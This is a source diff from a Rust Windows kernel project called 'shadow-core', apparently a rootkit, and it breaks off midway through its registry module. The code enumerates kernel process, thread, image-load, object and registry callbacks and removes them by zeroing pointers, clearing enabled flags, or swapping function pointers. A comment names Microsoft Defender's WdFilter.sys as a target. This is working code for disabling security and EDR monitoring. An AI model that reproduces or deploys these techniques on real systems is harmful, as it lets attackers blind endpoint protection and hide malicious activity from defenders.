|
|
||||||
@@ -135,9 +122,8 @@ unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8)> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut FULL_OBJECT_TYPE)` - The pointer to the object type associated with the callback if found.
|
/// The pointer to the object type associated with the callback if found.
|
||||||
/// * `Err(ShadowError)` - If the callback type is not recognized or an error occurs.
|
pub fn find_ob_register_callback(callback: &Callbacks) -> ShadowResult<*mut FULL_OBJECT_TYPE> {
|
||||||
pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJECT_TYPE> {
|
|
||||||
match callback {
|
match callback {
|
||||||
Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }),
|
Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }),
|
||||||
Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }),
|
Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }),
|
||||||
@@ -153,9 +139,8 @@ pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJEC
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(CallbackResult)` - A result containing the address of the callback or related components.
|
/// A result containing the address of the callback or related components.
|
||||||
/// * `Err(ShadowError)` - If the callback is not found or an error occurs.
|
pub unsafe fn find_callback_address(callback: &Callbacks) -> ShadowResult<CallbackResult> {
|
||||||
pub unsafe fn find_callback_address(callback: &Callbacks) -> Result<CallbackResult> {
|
|
||||||
match callback {
|
match callback {
|
||||||
Callbacks::PsSetCreateProcessNotifyRoutine => {
|
Callbacks::PsSetCreateProcessNotifyRoutine => {
|
||||||
find_ps_create_process().map(CallbackResult::Notify)
|
find_ps_create_process().map(CallbackResult::Notify)
|
||||||
@@ -163,9 +148,7 @@ pub unsafe fn find_callback_address(callback: &Callbacks) -> Result<CallbackResu
|
|||||||
Callbacks::PsSetCreateThreadNotifyRoutine => {
|
Callbacks::PsSetCreateThreadNotifyRoutine => {
|
||||||
find_ps_create_thread().map(CallbackResult::Notify)
|
find_ps_create_thread().map(CallbackResult::Notify)
|
||||||
}
|
}
|
||||||
Callbacks::PsSetLoadImageNotifyRoutine => {
|
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::Notify),
|
||||||
find_ps_load_image().map(CallbackResult::Notify)
|
|
||||||
}
|
|
||||||
Callbacks::CmRegisterCallbackEx => {
|
Callbacks::CmRegisterCallbackEx => {
|
||||||
find_cm_register_callback().map(CallbackResult::Registry)
|
find_cm_register_callback().map(CallbackResult::Registry)
|
||||||
}
|
}
|
||||||
@@ -176,14 +159,11 @@ pub unsafe fn find_callback_address(callback: &Callbacks) -> Result<CallbackResu
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Enum representing the return types for various callback searches.
|
/// Enum representing the return types for various callback searches.
|
||||||
///
|
|
||||||
/// This enum holds the result of searching for a specific callback routine.
|
|
||||||
/// The variants store the associated memory addresses for the found callbacks.
|
|
||||||
pub enum CallbackResult {
|
pub enum CallbackResult {
|
||||||
/// Holds the address for process/thread/image creation notifications.
|
/// Holds the address for process/thread/image creation notifications.
|
||||||
Notify(*mut u8),
|
Notify(*mut u8),
|
||||||
|
|
||||||
/// Holds the addresses for the registry callback,
|
/// Holds the addresses for the registry callback,
|
||||||
/// including the callback list and callback count.
|
/// including the callback list and callback count.
|
||||||
Registry((*mut u8, *mut u8, *mut u8)),
|
Registry((*mut u8, *mut u8, *mut u8)),
|
||||||
|
|
||||||
212
crates/shadow-core/src/callback/notify_routine.rs
Normal file
212
crates/shadow-core/src/callback/notify_routine.rs
Normal file
@@ -0,0 +1,212 @@
|
|||||||
|
use alloc::vec::Vec;
|
||||||
|
|
||||||
|
use common::{enums::Callbacks, structs::CallbackInfoOutput};
|
||||||
|
use spin::{Lazy, Mutex};
|
||||||
|
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
|
||||||
|
|
||||||
|
use crate::data::{CallbackRestaure, LDR_DATA_TABLE_ENTRY};
|
||||||
|
use crate::{
|
||||||
|
callback::{find_callback_address, CallbackResult},
|
||||||
|
error::{ShadowError, ShadowResult},
|
||||||
|
modules,
|
||||||
|
};
|
||||||
|
|
||||||
|
const MAX_CALLBACK: usize = 100;
|
||||||
|
|
||||||
|
/// Stores information about removed callbacks.
|
||||||
|
pub static mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy<Mutex<Vec<CallbackRestaure>>> =
|
||||||
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
||||||
|
|
||||||
|
/// Restores a previously removed callback by its index.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
||||||
|
/// * `index` - The index of the callback to restore.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// A success state if the callback is successfully restored.
|
||||||
|
pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
|
||||||
|
// Lock the removed callbacks to ensure thread-safe access
|
||||||
|
let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||||
|
|
||||||
|
// Find the removed callback by its index
|
||||||
|
let index = callbacks
|
||||||
|
.iter()
|
||||||
|
.position(|c| c.callback == callback && c.index == index)
|
||||||
|
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||||
|
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let address = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Notify(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Restore the callback by writing back its address
|
||||||
|
let addr = address.offset((callbacks[index].index * 8) as isize);
|
||||||
|
*(addr as *mut u64) = callbacks[index].address;
|
||||||
|
|
||||||
|
// Remove the restored callback from the saved list
|
||||||
|
callbacks.remove(index);
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a callback from a notification routine.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to remove.
|
||||||
|
/// * `index` - The index of the callback to remove.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// If the callback is successfully removed.
|
||||||
|
pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let address = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Notify(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Calculate the callback address to be removed
|
||||||
|
let addr = address.offset((index as isize) * 8);
|
||||||
|
|
||||||
|
// Save the removed callback information
|
||||||
|
let callback = CallbackRestaure {
|
||||||
|
index,
|
||||||
|
callback,
|
||||||
|
address: *(addr as *mut u64),
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||||
|
callback_info.push(callback);
|
||||||
|
|
||||||
|
// Remove the callback by setting its address to 0
|
||||||
|
*(addr as *mut u64) = 0;
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates the modules associated with callbacks and populates callback information.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to enumerate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// Containing the list of callbacks.
|
||||||
|
pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult<Vec<CallbackInfoOutput>> {
|
||||||
|
let mut callbacks = Vec::new();
|
||||||
|
|
||||||
|
// Get the address of the callback from the system
|
||||||
|
let address = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Notify(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Iterate over loaded modules to find the module corresponding to each callback
|
||||||
|
let (mut ldr_data, module_count) = modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
for i in 0..64 {
|
||||||
|
let addr = address.cast::<u8>().offset(i * 8);
|
||||||
|
let callback = *(addr as *const u64);
|
||||||
|
|
||||||
|
if callback == 0 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate through the loaded modules to find the one associated with the callback
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let image_size = (*ldr_data).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
|
||||||
|
|
||||||
|
// Check if the callback addresses fall within the module's memory range
|
||||||
|
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: i as u8,
|
||||||
|
address: raw_pointer as usize,
|
||||||
|
name,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset the module list pointer for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates all removed callbacks and provides detailed information.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// Containing the list of removed callbacks.
|
||||||
|
pub unsafe fn enumerate_removed() -> ShadowResult<Vec<CallbackInfoOutput>> {
|
||||||
|
let mut callbacks = Vec::new();
|
||||||
|
|
||||||
|
let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||||
|
let (mut ldr_data, module_count) = modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
// Iterate over the removed callbacks
|
||||||
|
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
|
||||||
|
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
|
||||||
|
|
||||||
|
// Check if the callback addresses fall within the module's memory range
|
||||||
|
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: callback.index as u8,
|
||||||
|
address: callback.address as usize,
|
||||||
|
name,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset the module list pointer for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
266
crates/shadow-core/src/callback/object.rs
Normal file
266
crates/shadow-core/src/callback/object.rs
Normal file
@@ -0,0 +1,266 @@
|
|||||||
|
use alloc::vec::Vec;
|
||||||
|
|
||||||
|
use common::{enums::Callbacks, structs::CallbackInfoOutput};
|
||||||
|
use spin::{Lazy, Mutex};
|
||||||
|
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
|
||||||
|
|
||||||
|
use crate::data::{CallbackRestaureOb, LDR_DATA_TABLE_ENTRY, OBCALLBACK_ENTRY};
|
||||||
|
use crate::{
|
||||||
|
callback::{find_callback_address, CallbackResult},
|
||||||
|
error::{ShadowError, ShadowResult},
|
||||||
|
lock::with_push_lock_exclusive,
|
||||||
|
modules,
|
||||||
|
};
|
||||||
|
|
||||||
|
const MAX_CALLBACK: usize = 100;
|
||||||
|
|
||||||
|
/// Stores information about removed callbacks.
|
||||||
|
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> =
|
||||||
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
||||||
|
|
||||||
|
/// Restores a previously removed callback by its index.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
||||||
|
/// * `index` - The index of the callback to restore.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// A success state if the callback is successfully restored.
|
||||||
|
pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
|
||||||
|
// Lock the removed callbacks to ensure thread-safe access
|
||||||
|
let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||||
|
|
||||||
|
// Find the callback by its index
|
||||||
|
let index = callbacks
|
||||||
|
.iter()
|
||||||
|
.position(|c| c.callback == callback && c.index == index)
|
||||||
|
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||||
|
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let full_object = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Object(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Acquire exclusive access to the TypeLock associated with the callback object
|
||||||
|
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
|
||||||
|
with_push_lock_exclusive(lock, || {
|
||||||
|
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
|
||||||
|
// Traverse the list of callback entries to find the one matching the removed entry
|
||||||
|
while next != current {
|
||||||
|
if !(*next).Enabled && !next.is_null() && (*next).Entry as u64 == callbacks[index].entry
|
||||||
|
{
|
||||||
|
// Re-enable the callback and remove it from the removed list
|
||||||
|
(*next).Enabled = true;
|
||||||
|
callbacks.remove(index);
|
||||||
|
|
||||||
|
return Ok(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::RestoringFailureCallback)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a callback from a notification routine.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to remove.
|
||||||
|
/// * `index` - The index of the callback to remove.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// If the callback is successfully removed.
|
||||||
|
pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let full_object = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Object(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Acquire exclusive access to the TypeLock associated with the callback object
|
||||||
|
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
|
||||||
|
with_push_lock_exclusive(lock, || {
|
||||||
|
let mut i = 0;
|
||||||
|
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||||
|
|
||||||
|
// Traverse the list of callback entries
|
||||||
|
while next != current {
|
||||||
|
if i == index {
|
||||||
|
if (*next).Enabled {
|
||||||
|
// Store the removed callback in the list of removed callbacks
|
||||||
|
let callback_restaure = CallbackRestaureOb {
|
||||||
|
index,
|
||||||
|
callback,
|
||||||
|
entry: (*next).Entry as u64,
|
||||||
|
pre_operation: (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64),
|
||||||
|
post_operation: (*next)
|
||||||
|
.PostOperation
|
||||||
|
.map_or(0u64, |post_op| post_op as u64),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Disable the callback
|
||||||
|
(*next).Enabled = false;
|
||||||
|
callback_info.push(callback_restaure);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Ok(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next entry in the callback list
|
||||||
|
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::RemoveFailureCallback)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates the modules associated with callbacks and populates callback information.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to enumerate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// Containing the list of callbacks.
|
||||||
|
pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult<Vec<CallbackInfoOutput>> {
|
||||||
|
let mut callbacks = Vec::new();
|
||||||
|
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let full_object = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Object(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut list_objects = Vec::new();
|
||||||
|
|
||||||
|
// Collect the information about each callback
|
||||||
|
while next != current {
|
||||||
|
let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64);
|
||||||
|
let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64);
|
||||||
|
|
||||||
|
list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr)));
|
||||||
|
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate over loaded modules to find the module corresponding to each callback
|
||||||
|
let (mut ldr_data, module_count) = modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
let mut current_index = 0;
|
||||||
|
|
||||||
|
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
|
||||||
|
if !enabled {
|
||||||
|
current_index += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
|
||||||
|
let pre_operation = addrs.0;
|
||||||
|
let post_operation = addrs.1;
|
||||||
|
|
||||||
|
// Check if the callback addresses fall within the module's memory range
|
||||||
|
if pre_operation > start_address as u64 && pre_operation < end_address
|
||||||
|
|| post_operation > start_address as u64 && post_operation < end_address
|
||||||
|
{
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: current_index,
|
||||||
|
name,
|
||||||
|
pre_operation: pre_operation as usize,
|
||||||
|
post_operation: post_operation as usize,
|
||||||
|
address: 0,
|
||||||
|
});
|
||||||
|
|
||||||
|
current_index += 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset ldr_data for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates all removed callbacks and provides detailed information.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// Containing the list of removed callbacks.
|
||||||
|
pub unsafe fn enumerate_removed() -> ShadowResult<Vec<CallbackInfoOutput>> {
|
||||||
|
let mut callbacks = Vec::new();
|
||||||
|
let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||||
|
let (mut ldr_data, module_count) = modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
// Iterate over the removed callbacks
|
||||||
|
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let image_size = (*ldr_data).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
|
||||||
|
// Check if the callback addresses fall within the module's memory range
|
||||||
|
if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address
|
||||||
|
|| callback.post_operation > start_address as u64
|
||||||
|
&& callback.post_operation < end_address
|
||||||
|
{
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the removed callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: callback.index as u8,
|
||||||
|
name,
|
||||||
|
pre_operation: callback.pre_operation as usize,
|
||||||
|
post_operation: callback.post_operation as usize,
|
||||||
|
address: 0,
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset the module list pointer for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
259
crates/shadow-core/src/callback/registry.rs
Normal file
259
crates/shadow-core/src/callback/registry.rs
Normal file
@@ -0,0 +1,259 @@
|
|||||||
|
use alloc::vec::Vec;
|
||||||
|
|
||||||
|
use common::{enums::Callbacks, structs::CallbackInfoOutput};
|
||||||
|
use spin::{Lazy, Mutex};
|
||||||
|
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
|
||||||
|
|
||||||
|
use super::CallbackResult;
|
||||||
|
use crate::data::{CallbackRestaure, CM_CALLBACK, LDR_DATA_TABLE_ENTRY};
|
||||||
|
use crate::{
|
||||||
|
callback::find_callback_address,
|
||||||
|
error::{ShadowError, ShadowResult},
|
||||||
|
lock::with_push_lock_exclusive,
|
||||||
|
modules,
|
||||||
|
};
|
||||||
|
|
||||||
|
const MAX_CALLBACK: usize = 100;
|
||||||
|
|
||||||
|
/// Stores information about removed callbacks.
|
||||||
|
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> =
|
||||||
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
||||||
|
|
||||||
|
/// Restores a previously removed callback by its index.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to be restored.
|
||||||
|
/// * `index` - The index of the callback to restore.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// A success state if the callback is successfully restored.
|
||||||
|
pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
|
||||||
|
// Lock the removed callbacks to ensure thread-safe access
|
||||||
|
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||||
|
|
||||||
|
// Locating the target callback index
|
||||||
|
let index = callbacks_info
|
||||||
|
.iter()
|
||||||
|
.position(|c| c.callback == callback && c.index == index)
|
||||||
|
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||||
|
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let (callback, count, lock) =
|
||||||
|
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
|
||||||
|
addr
|
||||||
|
} else {
|
||||||
|
return Err(ShadowError::CallbackNotFound);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Getting a lock to perform the restore operation
|
||||||
|
with_push_lock_exclusive(lock as *mut u64, || {
|
||||||
|
let count = *(count as *mut u32) + 1;
|
||||||
|
let mut pcm_callback = callback as *mut CM_CALLBACK;
|
||||||
|
|
||||||
|
for i in 0..count {
|
||||||
|
if pcm_callback.is_null() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if i == index as u32 {
|
||||||
|
// If the index is matched, restore from the list
|
||||||
|
(*pcm_callback).Function = callbacks_info[index].address;
|
||||||
|
callbacks_info.remove(index);
|
||||||
|
|
||||||
|
return Ok(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::RestoringFailureCallback)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a callback from the specified routine.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target_callback` - Pointer to the callback information input.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// If the callback is successfully removed.
|
||||||
|
pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let (callbacks, count, lock) =
|
||||||
|
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
|
||||||
|
addr
|
||||||
|
} else {
|
||||||
|
return Err(ShadowError::CallbackNotFound);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Getting a lock to perform the remove operation
|
||||||
|
with_push_lock_exclusive(lock as *mut u64, || {
|
||||||
|
let count = *(count as *mut u32) + 1;
|
||||||
|
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
|
||||||
|
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||||
|
let mut prev_addr = 0;
|
||||||
|
|
||||||
|
for i in 0..count {
|
||||||
|
if i == 1 {
|
||||||
|
// Here we make an exchange, changing the target address to `WdFilter.sys`
|
||||||
|
prev_addr = (*pcm_callback).Function;
|
||||||
|
}
|
||||||
|
|
||||||
|
if pcm_callback.is_null() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if i == index as u32 {
|
||||||
|
let callback_restaure = CallbackRestaure {
|
||||||
|
index,
|
||||||
|
callback,
|
||||||
|
address: (*pcm_callback).Function,
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
|
||||||
|
// If the index is matched, remove from the list
|
||||||
|
(*pcm_callback).Function = prev_addr;
|
||||||
|
callbacks_info.push(callback_restaure);
|
||||||
|
|
||||||
|
return Ok(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::RemoveFailureCallback)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Searches for a module associated with a callback and updates callback information.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target_callback` - Pointer to the callback information input.
|
||||||
|
/// * `callback_info` - Pointer to the callback information output.
|
||||||
|
/// * `information` - Pointer to a variable to store information size.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// Status of the operation.
|
||||||
|
